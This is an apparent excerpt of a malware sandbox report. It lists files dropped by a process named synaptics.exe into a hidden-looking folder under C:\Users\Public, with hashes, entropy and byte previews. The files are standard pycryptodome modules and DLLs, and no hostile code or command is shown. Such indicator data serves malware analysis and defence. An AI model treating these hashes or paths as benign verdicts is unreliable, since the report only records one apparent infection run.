Preview:	o..........f:*.......................@...s....d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.Z.d.d.d...Z.G.d.d...d.e...Z.....d.d.d...Z.d.S.)......)...unhexlify)...BLAKE2s)...strxor)...long_to_bytes..bytes_to_long)...bord..tobytes.._copy_bytes)...get_random_bytesNc....................C...s,...t.\|...d.>.\|.A.}.t.\|.t.\|.....t.\|.....d.....S.).N.....).r....r......len)...bsZ.xor_lsb..num..r.....BC:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Hash\CMAC.py.._shift_bytes$...s........r....c....................@...sT...e.Z.d.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)...CMACz.A CMAC hash object.. Do not instantiate directly. Use the :func:`new` function... :ivar digest_size: the size in bytes of the resulting MAC tag. :vartype digest_size: integer. Nc....................C...sD...\|.\|._.t.d.d.\|...\|._.\|.\|._.\|.\|._.\|.j...\|._.}.d.\|._.\|.\|._.\|.d.k.r&d.}.d.\|._.n.\|.d.k.r0d.}.d.\|._.n.t.d.\|.......d.\|...}.\|.j.\|.\|.j.f.i

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\pycache\CMAC.cpython-310.pyc.76459328

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	7926
Entropy (8bit):	5.384259307905337
Encrypted:	false
SSDEEP:	192:xkzUGdR3AHmrFQCkRU3hoM2wis+jpxKmWBKskH3Pj:OzUGPQHmrFQJRUCM2wiZdxzPzXPj
MD5:	959AEAF60AF2782B86D39472430AC396
SHA1:	D7D28AC344BC3C7D490F633543AA1572F59E02B5
SHA-256:	0A6EC7D6CA7734BFBF5A13B966D037D40E27839FB859722CA14649EA262F9C73
SHA-512:	9F00F8ABEC214123D376A91BFB9AC25D0A1AEE4DE37FBC674C62A4F8FA36088B695E630678D6AB5D1011EDAF7AABD025DF82F5CED3813E95BDCEC74B25DC4FDE
Malicious:	false
Reputation:	low
Preview:	o..........f:*.......................@...s....d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.Z.d.d.d...Z.G.d.d...d.e...Z.....d.d.d...Z.d.S.)......)...unhexlify)...BLAKE2s)...strxor)...long_to_bytes..bytes_to_long)...bord..tobytes.._copy_bytes)...get_random_bytesNc....................C...s,...t.\|...d.>.\|.A.}.t.\|.t.\|.....t.\|.....d.....S.).N.....).r....r......len)...bsZ.xor_lsb..num..r.....BC:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Hash\CMAC.py.._shift_bytes$...s........r....c....................@...sT...e.Z.d.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)...CMACz.A CMAC hash object.. Do not instantiate directly. Use the :func:`new` function... :ivar digest_size: the size in bytes of the resulting MAC tag. :vartype digest_size: integer. Nc....................C...sD...\|.\|._.t.d.d.\|...\|._.\|.\|._.\|.\|._.\|.j...\|._.}.d.\|._.\|.\|._.\|.d.k.r&d.}.d.\|._.n.\|.d.k.r0d.}.d.\|._.n.t.d.\|.......d.\|...}.\|.j.\|.\|.j.f.i

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\pycache\HMAC.cpython-310.pyc.72802936

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	6356
Entropy (8bit):	5.473579203817209
Encrypted:	false
SSDEEP:	96:HqnCPUNnFO1qs4mQ8UGLe57h6edAGJHFMxdO3vCqA2MwqQH3SzCFKK0MFBPhXC0I:2/Qzexh6JdtJtAJFPQ9
MD5:	BC6C0A5FC43C5764BBCC122A05FEB5B0
SHA1:	5357F9A80428E56F507A6E10DA2578201F89D7C1
SHA-256:	EF668CAFA554F916DE568DE3850AD6E0790A4A3078049AFE3E5401A4FADED271
SHA-512:	6267779DD8C27D617E72A8938F0DCA4728E93ACE3E541B77C054DCE159D559F3ECB3B4B75C57910B27F7C5A0E8447C62A3839A46818F1B58F644E57660224CC8
Malicious:	false
Reputation:	low
Preview:	o..........f. .......................@...s....d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.g.Z.d.d.d.d.d.d.d.d.d.d.d.d...Z.d.d...e.....D...Z.G.d.d...d.e...Z.d.d.d...Z.d.S.)......)...bord..tobytes)...unhexlify)...BLAKE2s)...strxor)...get_random_bytes..new..HMACz.1.2.840.113549.2.7z.1.2.840.113549.2.8z.1.2.840.113549.2.9z.1.2.840.113549.2.10z.1.2.840.113549.2.11z.1.2.840.113549.2.12z.1.2.840.113549.2.13z.2.16.840.1.101.3.4.2.13z.2.16.840.1.101.3.4.2.14z.2.16.840.1.101.3.4.2.15z.2.16.840.1.101.3.4.2.16).z.1.3.14.3.2.26z.2.16.840.1.101.3.4.2.4z.2.16.840.1.101.3.4.2.1z.2.16.840.1.101.3.4.2.2z.2.16.840.1.101.3.4.2.3z.2.16.840.1.101.3.4.2.5z.2.16.840.1.101.3.4.2.6z.2.16.840.1.101.3.4.2.7z.2.16.840.1.101.3.4.2.8z.2.16.840.1.101.3.4.2.9z.2.16.840.1.101.3.4.2.10c....................C...s....i.\|.].\.}.}.\|.\|...q.S...r....)....0..k..vr....r.....BC:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Hash\HMAC.py..<dictcomp>:...s......r....c....................@...sR...e.Z.d.Z.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\pycache\HMAC.cpython-310.pyc.76459568

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	6356
Entropy (8bit):	5.473579203817209
Encrypted:	false
SSDEEP:	96:HqnCPUNnFO1qs4mQ8UGLe57h6edAGJHFMxdO3vCqA2MwqQH3SzCFKK0MFBPhXC0I:2/Qzexh6JdtJtAJFPQ9
MD5:	BC6C0A5FC43C5764BBCC122A05FEB5B0
SHA1:	5357F9A80428E56F507A6E10DA2578201F89D7C1
SHA-256:	EF668CAFA554F916DE568DE3850AD6E0790A4A3078049AFE3E5401A4FADED271
SHA-512:	6267779DD8C27D617E72A8938F0DCA4728E93ACE3E541B77C054DCE159D559F3ECB3B4B75C57910B27F7C5A0E8447C62A3839A46818F1B58F644E57660224CC8
Malicious:	false
Reputation:	low
Preview:	o..........f. .......................@...s....d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.g.Z.d.d.d.d.d.d.d.d.d.d.d.d...Z.d.d...e.....D...Z.G.d.d...d.e...Z.d.d.d...Z.d.S.)......)...bord..tobytes)...unhexlify)...BLAKE2s)...strxor)...get_random_bytes..new..HMACz.1.2.840.113549.2.7z.1.2.840.113549.2.8z.1.2.840.113549.2.9z.1.2.840.113549.2.10z.1.2.840.113549.2.11z.1.2.840.113549.2.12z.1.2.840.113549.2.13z.2.16.840.1.101.3.4.2.13z.2.16.840.1.101.3.4.2.14z.2.16.840.1.101.3.4.2.15z.2.16.840.1.101.3.4.2.16).z.1.3.14.3.2.26z.2.16.840.1.101.3.4.2.4z.2.16.840.1.101.3.4.2.1z.2.16.840.1.101.3.4.2.2z.2.16.840.1.101.3.4.2.3z.2.16.840.1.101.3.4.2.5z.2.16.840.1.101.3.4.2.6z.2.16.840.1.101.3.4.2.7z.2.16.840.1.101.3.4.2.8z.2.16.840.1.101.3.4.2.9z.2.16.840.1.101.3.4.2.10c....................C...s....i.\|.].\.}.}.\|.\|...q.S...r....)....0..k..vr....r.....BC:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Hash\HMAC.py..<dictcomp>:...s......r....c....................@...sR...e.Z.d.Z.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\pycache\MD5.cpython-310.pyc.72805336

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	5410
Entropy (8bit):	5.185991714871779
Encrypted:	false
SSDEEP:	96:mbykvVEVoaG0Ed5cDlD1HkiM7wmZH3wmbOs6Q1/wQbya2qzgRlpXnFMNh:mhEZDkFbAQVwQPsRPA
MD5:	7B387DCBE0FF64E66A0409F000C56E61
SHA1:	BA8C434139D713B0C0082DE14B8D6A1B5EDBE18A
SHA-256:	2C0732BC106CA9813C1502DE55611FBF86DBD287693E5E88916342C649A3BB2E
SHA-512:	A16B53EAE40FA4B6F4D5A0D1BCE75B602A7087C330051F6B5EB77068AC0395B25264626FD8F6CC69FEADFC4B895B5970A88899DF33F1967C0F4B2C96F1DE5568
Malicious:	false
Reputation:	low
Preview:	o..........f.........................@...sd...d.d.l.T.d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...e.d.d...Z.G.d.d...d.e...Z.d.d.d...Z.d.Z.d.Z.d.d...Z.d.S.)......)...)...load_pycryptodome_raw_lib..VoidPointer..SmartPointer..create_string_buffer..get_raw_buffer..c_size_t..c_uint8_ptrz.Crypto.Hash._MD5a..... #define MD5_DIGEST_SIZE 16.. int MD5_init(void shaState);. int MD5_destroy(void shaState);. int MD5_update(void hs,. const uint8_t buf,. size_t len);. int MD5_digest(const void shaState,. uint8_t digest[MD5_DIGEST_SIZE]);. int MD5_copy(const void src, void dst);.. int MD5_pbkdf2_hmac_assist(const void inner,. const void *outer,.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\pycache\SHA1.cpython-310.pyc.72802456

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	5433
Entropy (8bit):	5.194071695945998
Encrypted:	false
SSDEEP:	96:htykvm51RUT7NCaGuEd5SCjor1HcMM7AF8ZH3w7MbOs6IVFya28zTlpXJ1MB5:hc51RC7NrCErcTbAIVjXxU
MD5:	FC054BC9F1832F75CDF00192E174C1E6
SHA1:	C02759733E9A0222C5980564EB44A1AEE1983162
SHA-256:	9CA8288E53E90F163F4311F8AF0675FA184C3A928B582F399EAA54BFE3620114
SHA-512:	91E64791FD7D3E7C9B90448420DF429A6D9B1247D335980D120117A89B1DF4B9FD15B3F8522AE93DC2F8B966FA448C5678B1C922113232A871A09866643F1867
Malicious:	false
Reputation:	low
Preview:	o..........f.........................@...sh...d.d.l.T.d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...e.d.d...Z.G.d.d...d.e...Z.d.d.d...Z.e.j.Z.e.j.Z.d.d...Z.d.S.)......)...)...load_pycryptodome_raw_lib..VoidPointer..SmartPointer..create_string_buffer..get_raw_buffer..c_size_t..c_uint8_ptrz.Crypto.Hash._SHA1a..... #define SHA1_DIGEST_SIZE 20.. int SHA1_init(void shaState);. int SHA1_destroy(void shaState);. int SHA1_update(void hs,. const uint8_t buf,. size_t len);. int SHA1_digest(const void shaState,. uint8_t digest[SHA1_DIGEST_SIZE]);. int SHA1_copy(const void src, void dst);.. int SHA1_pbkdf2_hmac_assist(const void inner,. const void *outer,.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\pycache\SHA1.cpython-310.pyc.76458728

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	5433
Entropy (8bit):	5.194071695945998
Encrypted:	false
SSDEEP:	96:htykvm51RUT7NCaGuEd5SCjor1HcMM7AF8ZH3w7MbOs6IVFya28zTlpXJ1MB5:hc51RC7NrCErcTbAIVjXxU
MD5:	FC054BC9F1832F75CDF00192E174C1E6
SHA1:	C02759733E9A0222C5980564EB44A1AEE1983162
SHA-256:	9CA8288E53E90F163F4311F8AF0675FA184C3A928B582F399EAA54BFE3620114
SHA-512:	91E64791FD7D3E7C9B90448420DF429A6D9B1247D335980D120117A89B1DF4B9FD15B3F8522AE93DC2F8B966FA448C5678B1C922113232A871A09866643F1867
Malicious:	false
Reputation:	low
Preview:	o..........f.........................@...sh...d.d.l.T.d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...e.d.d...Z.G.d.d...d.e...Z.d.d.d...Z.e.j.Z.e.j.Z.d.d...Z.d.S.)......)...)...load_pycryptodome_raw_lib..VoidPointer..SmartPointer..create_string_buffer..get_raw_buffer..c_size_t..c_uint8_ptrz.Crypto.Hash._SHA1a..... #define SHA1_DIGEST_SIZE 20.. int SHA1_init(void shaState);. int SHA1_destroy(void shaState);. int SHA1_update(void hs,. const uint8_t buf,. size_t len);. int SHA1_digest(const void shaState,. uint8_t digest[SHA1_DIGEST_SIZE]);. int SHA1_copy(const void src, void dst);.. int SHA1_pbkdf2_hmac_assist(const void inner,. const void *outer,.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\pycache\SHA256.cpython-310.pyc.72802816

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	5606
Entropy (8bit):	5.182727877241171
Encrypted:	false
SSDEEP:	96:rkykv4XXR6TJDkKGAEd5+i5c1HqO2NZH3Hb4fOs6viWkZLgz47MrxK:rhXXR8JD85cyj4fAvTWURK
MD5:	93CC88C70E43F0ECF89A5B0EA38F65D2
SHA1:	A4A5CD014DB0BD44D24AAA95989DCFD0DB16C4E1
SHA-256:	16D8C6FFEE555B1C39A60862E5435EE2F14585E74076848E8EC8F95408878F69
SHA-512:	37E0125A884F4DB590AD77CF512050EFACEFB84961A99AB685076297ED10EAD05A482168BDB1E1D37635506B7A8854A4F842EB5FB9AA8C1FB6EB889763A1A671
Malicious:	false
Reputation:	low
Preview:	o..........f.........................@...sl...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...e.d.d...Z.G.d.d...d.e...Z.d.d.d...Z.e.j.Z.e.j.Z.d.d...Z.d.S.)..........bord)...load_pycryptodome_raw_lib..VoidPointer..SmartPointer..create_string_buffer..get_raw_buffer..c_size_t..c_uint8_ptrz.Crypto.Hash._SHA256a..... int SHA256_init(void *shaState);. int SHA256_destroy(void shaState);. int SHA256_update(void hs,. const uint8_t buf,. size_t len);. int SHA256_digest(const void shaState,. uint8_t digest,. size_t digest_size);. int SHA256_copy(const void src, void dst);.. int SHA256_pbkdf2_hmac_assist(const void inner,. const void outer,.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\pycache\SHA256.cpython-310.pyc.76459448

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	5606
Entropy (8bit):	5.182727877241171
Encrypted:	false
SSDEEP:	96:rkykv4XXR6TJDkKGAEd5+i5c1HqO2NZH3Hb4fOs6viWkZLgz47MrxK:rhXXR8JD85cyj4fAvTWURK
MD5:	93CC88C70E43F0ECF89A5B0EA38F65D2
SHA1:	A4A5CD014DB0BD44D24AAA95989DCFD0DB16C4E1
SHA-256:	16D8C6FFEE555B1C39A60862E5435EE2F14585E74076848E8EC8F95408878F69
SHA-512:	37E0125A884F4DB590AD77CF512050EFACEFB84961A99AB685076297ED10EAD05A482168BDB1E1D37635506B7A8854A4F842EB5FB9AA8C1FB6EB889763A1A671
Malicious:	false
Reputation:	low
Preview:	o..........f.........................@...sl...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...e.d.d...Z.G.d.d...d.e...Z.d.d.d...Z.e.j.Z.e.j.Z.d.d...Z.d.S.)..........bord)...load_pycryptodome_raw_lib..VoidPointer..SmartPointer..create_string_buffer..get_raw_buffer..c_size_t..c_uint8_ptrz.Crypto.Hash._SHA256a..... int SHA256_init(void *shaState);. int SHA256_destroy(void shaState);. int SHA256_update(void hs,. const uint8_t buf,. size_t len);. int SHA256_digest(const void shaState,. uint8_t digest,. size_t digest_size);. int SHA256_copy(const void src, void dst);.. int SHA256_pbkdf2_hmac_assist(const void inner,. const void outer,.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\pycache\init.cpython-310.pyc.72773664

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	5.627938515362733
Encrypted:	false
SSDEEP:	48:ZokzpHdkloLwZGD20+wMmqlZ6tB+BTIIIXII5p6:ZlHd/20uSz+BG4
MD5:	36985553DC2BA7CF8FDDA194D8455F3F
SHA1:	0349CC429634A6A22A16961D6DE5D6AEC711AA4F
SHA-256:	95846B15BBFE015862ABEF226C2B0006595CF6830131E04FBD4CD6D36D0E41E7
SHA-512:	58D888A284B0F2AA2EFE4AAEB1B1DD8710A9B780490CD4E3D61740FBF6D646363534D2136D13AAFF6A603CE1A27D32E607E376B64F1406A9650670757FB2C03F
Malicious:	false
Reputation:	low
Preview:	o..........f.........................@...s....g.d...Z.d.d...Z.d.S.).)...HMACZ.MD2Z.MD4..MD5Z.RIPEMD160..SHA1..SHA224..SHA256..SHA384..SHA512..SHA3_224..SHA3_256..SHA3_384..SHA3_512Z.CMACZ.Poly1305Z.cSHAKE128Z.cSHAKE256Z.KMAC128Z.KMAC256Z.TupleHash128Z.TupleHash256Z.KangarooTwelveZ.TurboSHAKE128Z.TurboSHAKE256c....................C...sT...\|.....}.\|.d.v.r.d.d.l.m.}...\|.....S.\|.d.v.r d.d.l.m.}...\|.....S.\|.d.v.r.d.d.l.m.}...\|.....S.\|.d.v.r<d.d.l.m.}...\|.....S.\|.d.v.rJd.d.l.m.}...\|.....S.\|.d.v.rZd.d.l.m.}...\|.j.d.d...S.\|.d.v.rjd.d.l.m.}...\|.j.d.d...S.\|.d.v.rxd.d.l.m.}...\|.....S.\|.d.v.r.d.d.l.m.}...\|.....S.\|.d.v.r.d.d.l.m.}...\|.....S.\|.d.v.r.d.d.l.m.}...\|.....S.t.d.t.\|.........).zKReturn a new hash instance, based on its name or. on its ASN.1 Object ID).z.1.3.14.3.2.26r....z.SHA-1.....).r....).z.2.16.840.1.101.3.4.2.4r....z.SHA-224).r....).z.2.16.840.1.101.3.4.2.1r....z.SHA-256).r....).z.2.16.840.1.101.3.4.2.2r....z.SHA-384).r....).z.2.16.840.1.101.3.4.2.3r....z.SHA-512).r....).z.2.16.840

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\pycache\init.cpython-310.pyc.76458968

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	5.627938515362733
Encrypted:	false
SSDEEP:	48:ZokzpHdkloLwZGD20+wMmqlZ6tB+BTIIIXII5p6:ZlHd/20uSz+BG4
MD5:	36985553DC2BA7CF8FDDA194D8455F3F
SHA1:	0349CC429634A6A22A16961D6DE5D6AEC711AA4F
SHA-256:	95846B15BBFE015862ABEF226C2B0006595CF6830131E04FBD4CD6D36D0E41E7
SHA-512:	58D888A284B0F2AA2EFE4AAEB1B1DD8710A9B780490CD4E3D61740FBF6D646363534D2136D13AAFF6A603CE1A27D32E607E376B64F1406A9650670757FB2C03F
Malicious:	false
Reputation:	low
Preview:	o..........f.........................@...s....g.d...Z.d.d...Z.d.S.).)...HMACZ.MD2Z.MD4..MD5Z.RIPEMD160..SHA1..SHA224..SHA256..SHA384..SHA512..SHA3_224..SHA3_256..SHA3_384..SHA3_512Z.CMACZ.Poly1305Z.cSHAKE128Z.cSHAKE256Z.KMAC128Z.KMAC256Z.TupleHash128Z.TupleHash256Z.KangarooTwelveZ.TurboSHAKE128Z.TurboSHAKE256c....................C...sT...\|.....}.\|.d.v.r.d.d.l.m.}...\|.....S.\|.d.v.r d.d.l.m.}...\|.....S.\|.d.v.r.d.d.l.m.}...\|.....S.\|.d.v.r<d.d.l.m.}...\|.....S.\|.d.v.rJd.d.l.m.}...\|.....S.\|.d.v.rZd.d.l.m.}...\|.j.d.d...S.\|.d.v.rjd.d.l.m.}...\|.j.d.d...S.\|.d.v.rxd.d.l.m.}...\|.....S.\|.d.v.r.d.d.l.m.}...\|.....S.\|.d.v.r.d.d.l.m.}...\|.....S.\|.d.v.r.d.d.l.m.}...\|.....S.t.d.t.\|.........).zKReturn a new hash instance, based on its name or. on its ASN.1 Object ID).z.1.3.14.3.2.26r....z.SHA-1.....).r....).z.2.16.840.1.101.3.4.2.4r....z.SHA-224).r....).z.2.16.840.1.101.3.4.2.1r....z.SHA-256).r....).z.2.16.840.1.101.3.4.2.2r....z.SHA-384).r....).z.2.16.840.1.101.3.4.2.3r....z.SHA-512).r....).z.2.16.840

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\_ghash_clmul.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	5.39395207981322
Encrypted:	false
SSDEEP:	192:TfUgdPEzpETBWctWJmIJjOjMdFmnEWGbZ3MVnjIN:bWpEv4JmAjOMnfbsnjS
MD5:	D5B29442690A910A263AF7FD8B5395C4
SHA1:	ED2D72881B5E73082757228A8756FB251690A819
SHA-256:	B00EE3886A2EB216AB7DF2AC310EB20264C6F4B767A6AC024E05A38D84BF6EC4
SHA-512:	EF1ABD19133A8CEE5592CEF8E488E231E093EEF8BE93AA08F57DCF7E8C08F0939706FA4F509E48D9F0DEDD9DC75639A3763191EDF89AB20D7E285F6E1791A6D3
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'..co..co..co..j.?.go..v...ao..(...`o..co..Bo..v...ho..v...io..v...bo..Y..bo..Y..bo..Y.S.bo..Y..bo..Richco..................PE..L...5..e...........!...%............N........0...............................p............@..........................5.......5..d....P.......................`..\....1...............................0..@............0..t............................text...n........................... ..`.rdata.......0......................@..@.data........@......."..............@....rsrc........P.......$..............@..@.reloc..\....`.......&..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\_ghash_portable.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	10752
Entropy (8bit):	5.458758161835021
Encrypted:	false
SSDEEP:	192:/QlPEeRBuTpWc40WJ3zZjOd/2jmTCLIxn6x2MVn7INE:kRkHYJ3lj8+jmlxn6xBn7SE
MD5:	2B341D7237DB72E7A60704D0B712CA9D
SHA1:	D462476AFE982A8FFCCD03587B5AC8BAE31BB97A
SHA-256:	E1F9D61FBA353964ADC8B06CDB705F2E5360235582B0FEEBA42A9EBFAAD6529A
SHA-512:	DCE3B29F48DC737A1BF26CE6518DE298D1A8EC18BC852B30EDF54318968F7391814FFDDF1C0949A355FDDC1629B8F76845C47370EDA4759A968EAFBD869C87DA
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............i...i...i....R..i.......i......i...i...i.......i.......i.......i.......i.......i....>..i.......i..Rich.i..........................PE..L...5..e...........!...%............N........0...............................p............@..........................5.......5..d....P.......................`..H...p1...............................0..@............0..t............................text............................... ..`.rdata.......0......................@..@.data........@.......$..............@....rsrc........P.......&..............@..@.reloc..H....`.......(..............@..B................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\_keccak.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	15360
Entropy (8bit):	5.576864484095592
Encrypted:	false
SSDEEP:	384:RGlc0JtjFWksnJ+MWi68KtH5O6qhXBinqRu:ec0lWksJ+M2HQ6qeqRu
MD5:	3CD50F4CA53C3DC717F08CD25618FAB1
SHA1:	756F0B5A62E80E4D999F4EC9C36420A261D33916
SHA-256:	72E283A931115DEE425C298DB1E65298FC2680A6B5B8186163EC6EEB288C4D6A
SHA-512:	09067010CCB4ED5EEA0C6CD2DF5505EFFAA44B8C2543B561FECDCCAD2D04499A2AF80D9D67732B1294915001D8F20C3724C7BAB800E2384AB697E1C1618D1FB8
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'..co..co..co..j.!.go..v...ao..(...`o..co..@o..v...ho..v...io..v...bo..Y..bo..Y..bo..Y.M.bo..Y..bo..Richco..................PE..L...4..e...........!...%.&..........N........@............................................@..........................E.......F..d....`.......................p......@B...............................A..@............@..\|............................text....$.......&.................. ..`.rdata..,....@.......*..............@..@.data........P.......6..............@....rsrc........`.......8..............@..@.reloc.......p.......:..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\_poly1305.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	5.690196553690945
Encrypted:	false
SSDEEP:	192:68hlPEXNImx4WcbWJ9awjOrXKQz8JUT8tpw8A4oTP54pMVnaKENm:YNImqiJfjUXKQwQepw8tkP54AnaKO
MD5:	12498BD1E240FA76902E1EE89A391876
SHA1:	B889B29F5624BD186803E32F9C89FF132D5CDE86
SHA-256:	5118321B4AC0B2D8650910C22658939C5D1435502CD9168BB44C24530A413A04
SHA-512:	A791FA69F5C9A48A75E57B598C73987635CF3EF3B6F3A660B70372672FD60B5798647BE79BDE8A3FE4AC4A2B6960AC88ADB8DA05388F471FC4E9AA356B6A12A4
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........m..m..m....m.....m......m..m..m.....m.....m.....m....m....m...F.m....m..Rich.m..................PE..L...5..e...........!...%............N........0...............................p............@..........................5.......5..d....P.......................`..x...x1...............................0..@............0..\|............................text............................... ..`.rdata..0....0....... ..............@..@.data...4....@.....................@....rsrc........P.......,..............@..@.reloc..x....`......................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\cSHAKE128.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	6550
Entropy (8bit):	4.889437799325704
Encrypted:	false
SSDEEP:	192:Nqrskrs9t3q/IQ14i44sZ3x6Bki1DC/imkL:krskrs9VqcVYDt
MD5:	C1D439DDBFB7743AB178FFC1860B3C49
SHA1:	E7036F22D605E27B82BDD441DB1450D8E203E1F7
SHA-256:	25255524B26D401F859A162E6271277370F87F2AD42B94BFA27FA98BF15536B7
SHA-512:	85255ABE9BAAEB7FF7ECF4A6790D0B0F6DE3FB2BB0EA5B46BD3FBCF0C167C8E1F25EAEFB45B3BD94F1F22225D4F15144C1236A43403F700D0CB9C28DD8E33EE6
Malicious:	false
Reputation:	low
Preview:	# ===================================================================..#..# Copyright (c) 2021, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\cSHAKE128.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	513
Entropy (8bit):	4.65254840298011
Encrypted:	false
SSDEEP:	12:1REYB3vIY3AJ1ApWaN5hFeLBaFeLsQwWh72CX5AJaNi4Y:1REcT34A1N56Vp7h71GENiL
MD5:	650178B2B4C1BBE35CB633D193929B0B
SHA1:	08A93F8C458ED63BB136821EF52ADF04B70C02A8
SHA-256:	996DE23B6A41D7158B3C0DD8B3DE5DE532F6953706640866CBE19243A882F3A3
SHA-512:	628B50274BDFA31ABCA9D06A433C493C0953C3F8BBB4949BC83EBF370F383F182D80DAF12850388F0B0EB0D989A6CA3E34329CFF9FB8051F4E649DA6F47B8C3E
Malicious:	false
Reputation:	low
Preview:	from typing import Union, Optional....Buffer = Union[bytes, bytearray, memoryview]....class cSHAKE_XOF(object):.. def __init__(self,.. data: Optional[Buffer] = ...,.. function: Optional[bytes] = ...,.. custom: Optional[bytes] = ...) -> None: ..... def update(self, data: Buffer) -> cSHAKE_XOF: ..... def read(self, length: int) -> bytes: .......def new(data: Optional[Buffer] = ...,.. custom: Optional[Buffer] = ...) -> cSHAKE_XOF: .....

